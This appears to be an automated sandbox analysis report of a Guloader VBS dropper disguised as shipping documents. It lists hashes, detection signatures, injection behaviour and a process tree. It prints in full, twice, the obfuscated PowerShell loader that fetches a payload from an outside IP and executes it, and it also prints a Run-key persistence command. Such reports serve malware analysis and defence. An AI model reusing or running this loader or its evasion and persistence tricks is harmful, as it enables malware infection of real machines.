Analysis
-
max time kernel
150s -
max time network
137s -
platform
windows7_x64 -
resource
win7-20230712-en -
resource tags
arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system -
submitted
15/07/2023, 18:33
Static task
static1
Behavioral task
behavioral1
Sample
SHIPPING_COPY_DOCUMENTS-QRYTR-282737-OLSKJWEJ_127KB_00000002822333333.vbs
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
SHIPPING_COPY_DOCUMENTS-QRYTR-282737-OLSKJWEJ_127KB_00000002822333333.vbs
Resource
win10v2004-20230703-en
General
-
Target
SHIPPING_COPY_DOCUMENTS-QRYTR-282737-OLSKJWEJ_127KB_00000002822333333.vbs
-
Size
5KB
-
MD5
0bbe430413435af44cd3af7dd542d158
-
SHA1
b17fef7aa7714e8324d48750ebd21aa826d9f60c
-
SHA256
d6d6d837cf218e5f89c6eb733437a7a9f8fc74e43545409fd487c16d83808bed
-
SHA512
55c17fae57b17d46f50edcbbb176e484056cf629e7585eb3fa7db0263f0cbfab76d653d0589e7b0891abbfaf919438b17f30e25cbfa832491009445ca3c2437b
-
SSDEEP
96:bDW4xFZiEBpDD/tIPLC0kn5afwKFdKuFf3Tr/wL7Bb+cXfU49U5BAPA0p4:bjx/13DtIPLb6KfFfH/gw5CXy
Malware Config
Signatures
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Checks QEMU agent file 2 TTPs 2 IoCs
Checks presence of QEMU agent, possibly to detect virtualization.
description ioc Process File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe powershell.exe File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe ielowutil.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2969888527-3102471180-2307688834-1000\Software\Microsoft\Windows\CurrentVersion\Run ielowutil.exe Set value (str) \REGISTRY\USER\S-1-5-21-2969888527-3102471180-2307688834-1000\Software\Microsoft\Windows\CurrentVersion\Run\Content = "%GULOM% -w 1 $Apenn=(Get-ItemProperty -Path 'HKCU:\\Gulv\\').Undlad;%GULOM% ($Apenn)" ielowutil.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
pid Process 632 ielowutil.exe 632 ielowutil.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2984 powershell.exe 632 ielowutil.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2984 set thread context of 632 2984 powershell.exe 34 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2576 powershell.exe 2984 powershell.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 632 ielowutil.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2984 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2576 powershell.exe Token: SeDebugPrivilege 2984 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 632 ielowutil.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 1348 wrote to memory of 2576 1348 WScript.exe 28 PID 1348 wrote to memory of 2576 1348 WScript.exe 28 PID 1348 wrote to memory of 2576 1348 WScript.exe 28 PID 2576 wrote to memory of 2984 2576 powershell.exe 31 PID 2576 wrote to memory of 2984 2576 powershell.exe 31 PID 2576 wrote to memory of 2984 2576 powershell.exe 31 PID 2576 wrote to memory of 2984 2576 powershell.exe 31 PID 2984 wrote to memory of 632 2984 powershell.exe 34 PID 2984 wrote to memory of 632 2984 powershell.exe 34 PID 2984 wrote to memory of 632 2984 powershell.exe 34 PID 2984 wrote to memory of 632 2984 powershell.exe 34 PID 2984 wrote to memory of 632 2984 powershell.exe 34
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SHIPPING_COPY_DOCUMENTS-QRYTR-282737-OLSKJWEJ_127KB_00000002822333333.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:1348 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Sprg9 ([String]$Sydyemene4){$Sidingsku=$Sydyemene4.toCharArray();For($Propolis46=5; $Propolis46 -lt $Sidingsku.count-1; $Propolis46+=(5+1)){$rufulousna+=$Sidingsku[$Propolis46]};$rufulousna;}$Volu=Sprg9 ' WankhCeliotSchelt malep Fagu:Opspa/Obtai/ Skol9March1Sacra.gertr2Woolm4 Redu4 Snig. Alec1Misal9 Drin7concu. Impe9 Llin/LabounOmkoseSpracwnyhed/TndstUunpronIsidosMellelSkatt. DumpjdiplaaSternvSophraFempe ';$rufulousna01=Sprg9 ' TilsiSpksteBarbexBesom ';$Telo = Sprg9 'Wagne\Iconos poiny Kabes CambwBrassoCarbowfulfi6Super4Judic\AfmnsW Aflaistregnhypomd OveroPhospw UtopsKrapfP Ansto AlpiwFestfe BoggrAsphyS antih CaraePensil AntalHekse\Emeliv Erhv1 Baue.Taskm0Modif\BraunpUdtnkoHumanwUddykeCharer QuilsafstihMelipeAfhorlRomtol Besy. PreaeHusarx Socie Solv ';.($rufulousna01) (Sprg9 ' Hejs$BuldeTRevera AviliEtatslFlyvso Bals2 Hype= Foru$ Quilekompln Trisv Subr:Diariw FuseiAmanin BanadAurorifraterBlodf ') ;.($rufulousna01) (Sprg9 'Uddat$ FlawT Conte ArchlCarisoMarkr= Duef$GraniT OrddatommeiAeroplRansaoMckee2 Beas+Escap$ RhopT KonseFertil PuntoExoto ') ;.($rufulousna01) (Sprg9 'Deter$RibbeS AlnivNondea SeafrDixiesBismek GenbrSucce semio= shov unde( Rmet(Blitzg SkinwOversmshinwiFordr kvadw KystiContun Klen3 Deku2 Brne_ OverpUnresr Vegeo ThrecSemiheAntimsMothwsJoggi Trygh-NgaioF Unga DawnPAltarr GenfoUnhelcSenateKotowsAntiasvillaIViscidRejse=Udbls$ Tilh{UndefP MistIStemmD Noxi} Morp)Prveu.VelkeCRewaroDivismLineam Aguaa Duodn progd PsitL SammiTheomnMidfre Drag)Esdra part-Pastis JulepSirell Tilsi PejltFrost Norma[Craftc Skolh Hecta Anaer Tiko] Udto3 Ooph4 Udga ');.($rufulousna01) (Sprg9 ' Fugl$ CampaSkyttfmolinsaarhukFromeeDekladSnildsGrfab Trip= Ring Rispe$JegerS SunbvPlumeaMomskr RegisUnconkBenstr Over[ Data$efterSVesicv RetsaAksiorCreossKonomk SinorSaffa.Ughs c bosso TousuChairnTypehtForda-Airdr2Chlor]Orang ');.($rufulousna01) (Sprg9 'Skrid$PhospWStenba Landd dauniNatioo PostpLeucomWindbu UnbanForeltDsigh= Kern(bydefTOnaneekondosFlourtOffse- OverPUnlina PanetElforh tran Subge$ AngiT Vaske LunglIndsko Belb)Espie Disco-VrktjAPreben Eased Phil Tandh(Dobbe[ AntiIUnclenTittutBndelP MisltBriber Bern]Bediz:Bight:BistasOpruliSubinz Bambe ampe Emne-BiogreMors qSylla Probl8Posta) Rumi ') ;if ($Wadiopmunt) {.$Telo $afskeds;} else {;$rufulousna00=Sprg9 ' MarkS ElevtSuggea ElekrConset Dels-TuggeB Mesoi StratBiogrs DesiTConchr IdeaaDysgenAngoss FeltfAnmele Outbr Hipp Jule-SekslSSinoloFremsu Strir Counc SimoeUncin pret$RepulV caskoCorral HexauUrger Haplo-TubfiDLimemeBrydesLocaltDesiniSansen HenfaCampit Anali StveoPachyn Shar Subco$ SlatTCrossaKorali SikklParagoTelev2 Spec ';.($rufulousna01) (Sprg9 'Bortf$FanliT NanoaGyse i VinnlKaryoo Home2Tuber=Skjol$HaunteRattlnLatesvSkval:outtha PlanpEpeirp MeladHandla SolotTaktlaUnpre ') ;.($rufulousna01) (Sprg9 ' VersIMerchmScrippSamfro Histr EjentDamec-BlaamMZonuloPannadBestyu StrilHalefe Bass IndsiBOeer i GlostBinapsDactyT KendrAfganarangsnUndersPhaeofMestreIsolerPrein ') ;$Tailo2=$Tailo2+'\Geadepha.Tri';while (-not $gvinkele) {.($rufulousna01) (Sprg9 'Minim$Demong Finav Intei SeminInappk HandeTintnl PriseOpsli= Dekl( HirpT Rumse Gotrs HalvtComme- VandP BekvaHarputTeca hFrowa Char$ DiphTAmuttaRygkliMrkedlSawbao cock2 Diso)Troll ') ;.($rufulousna01) $rufulousna00;.($rufulousna01) (Sprg9 ' itseSBivuatSholeaSignarSkilltBassi-SeamaS AnchlSortee IngeeSphenpaouad Hjemm5Risen ');}.($rufulousna01) (Sprg9 ' Affe$ StrmS ObjepFejemr PilogDrive stets=svejs calcGHandwe kongtClach- BengCHjlndo FejlnRetrotDebuteVandbn StictBagta Genne$ChalyTTonesa UskniInfoll ObtuoHstpa2Spado ');.($rufulousna01) (Sprg9 'Laant$InhalK AtheoKujonnCampskSutoru OpfibPrema Aksel=Alkal centr[ KompS Muriy Spers Marst Berbe Gorkm Flas.OveraCAmmesoMyocon Assyv Lepte Rmmer Ddmat Impu]Sasch:Under: SydaFTidssrHumidoOpvismKerneBLysrea EnewsSlagpeSamse6 Sent4FourtSTillrt Resir Anchi Terrn Glung Elev(Alleg$ArchhSRewasp EurorKyu SgHusma)Curar ');.($rufulousna01) (Sprg9 'Pighe$ FraprSkrivuGotchfEnebouBaccalinvoko UdfluFlancs HjlpnCoasta Kake2 Dump Inka=Veste ges [FortjSbruniy langs Tyktt biolePyrommArbor.CarriTArbeje Antox ClautCalvi.talloE Bentn BalecOpkoboGlasudMeloti UdvenHomozgsympa]Subsu: Eksp:VaderACoquiS KundCAlluvI SecrIBoxer.BladhGHetere Recot AchiS Halvt quinr Patti JegsnFalmegBleph( repr$SeiyuKInquaoRedpon Fritk Skudu DensbUsand)Sextu ');.($rufulousna01) (Sprg9 'Impas$ TronP UngteKvindrGennecDuran1Curia2Conce1 Apes=Tagre$frostr Blafu GgehfLegaru armbl lednopapilu SanisFornunKrebia Enke2 Humm.DeipasLowliuPyraubStadssYakutt Knarr TabeiDibranDdssyg Kali(Sortk2Catas0Norte2 Kiru2 Ford4 Velb7rille, sigt2 Snke5 Cass0 folk5Letva2Compl) Gaar ');.($rufulousna01) $Perc121;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2576 -
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Sprg9 ([String]$Sydyemene4){$Sidingsku=$Sydyemene4.toCharArray();For($Propolis46=5; $Propolis46 -lt $Sidingsku.count-1; $Propolis46+=(5+1)){$rufulousna+=$Sidingsku[$Propolis46]};$rufulousna;}$Volu=Sprg9 ' WankhCeliotSchelt malep Fagu:Opspa/Obtai/ Skol9March1Sacra.gertr2Woolm4 Redu4 Snig. Alec1Misal9 Drin7concu. Impe9 Llin/LabounOmkoseSpracwnyhed/TndstUunpronIsidosMellelSkatt. DumpjdiplaaSternvSophraFempe ';$rufulousna01=Sprg9 ' TilsiSpksteBarbexBesom ';$Telo = Sprg9 'Wagne\Iconos poiny Kabes CambwBrassoCarbowfulfi6Super4Judic\AfmnsW Aflaistregnhypomd OveroPhospw UtopsKrapfP Ansto AlpiwFestfe BoggrAsphyS antih CaraePensil AntalHekse\Emeliv Erhv1 Baue.Taskm0Modif\BraunpUdtnkoHumanwUddykeCharer QuilsafstihMelipeAfhorlRomtol Besy. PreaeHusarx Socie Solv ';.($rufulousna01) (Sprg9 ' Hejs$BuldeTRevera AviliEtatslFlyvso Bals2 Hype= Foru$ Quilekompln Trisv Subr:Diariw FuseiAmanin BanadAurorifraterBlodf ') ;.($rufulousna01) (Sprg9 'Uddat$ FlawT Conte ArchlCarisoMarkr= Duef$GraniT OrddatommeiAeroplRansaoMckee2 Beas+Escap$ RhopT KonseFertil PuntoExoto ') ;.($rufulousna01) (Sprg9 'Deter$RibbeS AlnivNondea SeafrDixiesBismek GenbrSucce semio= shov unde( Rmet(Blitzg SkinwOversmshinwiFordr kvadw KystiContun Klen3 Deku2 Brne_ OverpUnresr Vegeo ThrecSemiheAntimsMothwsJoggi Trygh-NgaioF Unga DawnPAltarr GenfoUnhelcSenateKotowsAntiasvillaIViscidRejse=Udbls$ Tilh{UndefP MistIStemmD Noxi} Morp)Prveu.VelkeCRewaroDivismLineam Aguaa Duodn progd PsitL SammiTheomnMidfre Drag)Esdra part-Pastis JulepSirell Tilsi PejltFrost Norma[Craftc Skolh Hecta Anaer Tiko] Udto3 Ooph4 Udga ');.($rufulousna01) (Sprg9 ' Fugl$ CampaSkyttfmolinsaarhukFromeeDekladSnildsGrfab Trip= Ring Rispe$JegerS SunbvPlumeaMomskr RegisUnconkBenstr Over[ Data$efterSVesicv RetsaAksiorCreossKonomk SinorSaffa.Ughs c bosso TousuChairnTypehtForda-Airdr2Chlor]Orang ');.($rufulousna01) (Sprg9 'Skrid$PhospWStenba Landd dauniNatioo PostpLeucomWindbu UnbanForeltDsigh= Kern(bydefTOnaneekondosFlourtOffse- OverPUnlina PanetElforh tran Subge$ AngiT Vaske LunglIndsko Belb)Espie Disco-VrktjAPreben Eased Phil Tandh(Dobbe[ AntiIUnclenTittutBndelP MisltBriber Bern]Bediz:Bight:BistasOpruliSubinz Bambe ampe Emne-BiogreMors qSylla Probl8Posta) Rumi ') ;if ($Wadiopmunt) {.$Telo $afskeds;} else {;$rufulousna00=Sprg9 ' MarkS ElevtSuggea ElekrConset Dels-TuggeB Mesoi StratBiogrs DesiTConchr IdeaaDysgenAngoss FeltfAnmele Outbr Hipp Jule-SekslSSinoloFremsu Strir Counc SimoeUncin pret$RepulV caskoCorral HexauUrger Haplo-TubfiDLimemeBrydesLocaltDesiniSansen HenfaCampit Anali StveoPachyn Shar Subco$ SlatTCrossaKorali SikklParagoTelev2 Spec ';.($rufulousna01) (Sprg9 'Bortf$FanliT NanoaGyse i VinnlKaryoo Home2Tuber=Skjol$HaunteRattlnLatesvSkval:outtha PlanpEpeirp MeladHandla SolotTaktlaUnpre ') ;.($rufulousna01) (Sprg9 ' VersIMerchmScrippSamfro Histr EjentDamec-BlaamMZonuloPannadBestyu StrilHalefe Bass IndsiBOeer i GlostBinapsDactyT KendrAfganarangsnUndersPhaeofMestreIsolerPrein ') ;$Tailo2=$Tailo2+'\Geadepha.Tri';while (-not $gvinkele) {.($rufulousna01) (Sprg9 'Minim$Demong Finav Intei SeminInappk HandeTintnl PriseOpsli= Dekl( HirpT Rumse Gotrs HalvtComme- VandP BekvaHarputTeca hFrowa Char$ DiphTAmuttaRygkliMrkedlSawbao cock2 Diso)Troll ') ;.($rufulousna01) $rufulousna00;.($rufulousna01) (Sprg9 ' itseSBivuatSholeaSignarSkilltBassi-SeamaS AnchlSortee IngeeSphenpaouad Hjemm5Risen ');}.($rufulousna01) (Sprg9 ' Affe$ StrmS ObjepFejemr PilogDrive stets=svejs calcGHandwe kongtClach- BengCHjlndo FejlnRetrotDebuteVandbn StictBagta Genne$ChalyTTonesa UskniInfoll ObtuoHstpa2Spado ');.($rufulousna01) (Sprg9 'Laant$InhalK AtheoKujonnCampskSutoru OpfibPrema Aksel=Alkal centr[ KompS Muriy Spers Marst Berbe Gorkm Flas.OveraCAmmesoMyocon Assyv Lepte Rmmer Ddmat Impu]Sasch:Under: SydaFTidssrHumidoOpvismKerneBLysrea EnewsSlagpeSamse6 Sent4FourtSTillrt Resir Anchi Terrn Glung Elev(Alleg$ArchhSRewasp EurorKyu SgHusma)Curar ');.($rufulousna01) (Sprg9 'Pighe$ FraprSkrivuGotchfEnebouBaccalinvoko UdfluFlancs HjlpnCoasta Kake2 Dump Inka=Veste ges [FortjSbruniy langs Tyktt biolePyrommArbor.CarriTArbeje Antox ClautCalvi.talloE Bentn BalecOpkoboGlasudMeloti UdvenHomozgsympa]Subsu: Eksp:VaderACoquiS KundCAlluvI SecrIBoxer.BladhGHetere Recot AchiS Halvt quinr Patti JegsnFalmegBleph( repr$SeiyuKInquaoRedpon Fritk Skudu DensbUsand)Sextu ');.($rufulousna01) (Sprg9 'Impas$ TronP UngteKvindrGennecDuran1Curia2Conce1 Apes=Tagre$frostr Blafu GgehfLegaru armbl lednopapilu SanisFornunKrebia Enke2 Humm.DeipasLowliuPyraubStadssYakutt Knarr TabeiDibranDdssyg Kali(Sortk2Catas0Norte2 Kiru2 Ford4 Velb7rille, sigt2 Snke5 Cass0 folk5Letva2Compl) Gaar ');.($rufulousna01) $Perc121;}"3⤵
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2984 -
C:\Program Files (x86)\internet explorer\ielowutil.exe"C:\Program Files (x86)\internet explorer\ielowutil.exe"4⤵
- Checks QEMU agent file
- Adds Run key to start application
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:632
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
184B
MD540c7d7c290113ae8f03e65d4095eb7ee
SHA1d81c98b90ccb5c7ee94d423665195bc17b1dcb6f
SHA256f3296b3fbb81560e0f1652581aa8eb502e95a4184a8122e50ba647aad60e128a
SHA5125e3627e362398ac840f6a7c3ec2a8fbc011ae2bf91bd08de15699386fc348c7d8f634971f3bb7c2c2a25ec002db81e61bacf4cbd928b665712e87f5760752f54
-
Filesize
264B
MD57c87f79a966e35eb2e8fbda6ce59b804
SHA19b9e4afb20b63041277a08ab248700e33934781c
SHA2569aee7cb2de1e1d4c489e250dd68e59f8e790ee585b4f3c23a8969367af193c58
SHA512b63f66c071574c566c634d37325f39ed1ab2393579ade0f9ccec368dd78ee5bd8a6ae96afee49277e302206faaa81be27d9cffac4c63bff6322b22a4d361536f
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UZFT6K7SW7KJ2TGXKAR9.temp
Filesize7KB
MD5d41c5b5fd5a375b68d9c4693cc12418f
SHA1759c488ccd2be2ee77ab8af62303e3fbd0e480e1
SHA256ad2a637d4b29c8d5dda85d9049d1c58ffa861057fce21ba112c725b287eb93d9
SHA512e8ad0390cd7796de890efd420cb58ce34c003537bd9ec1dcb64f4b3ba98639491019d503e2c7ba605063d454d72484c352be87490d221c2c09d38730e9436a7e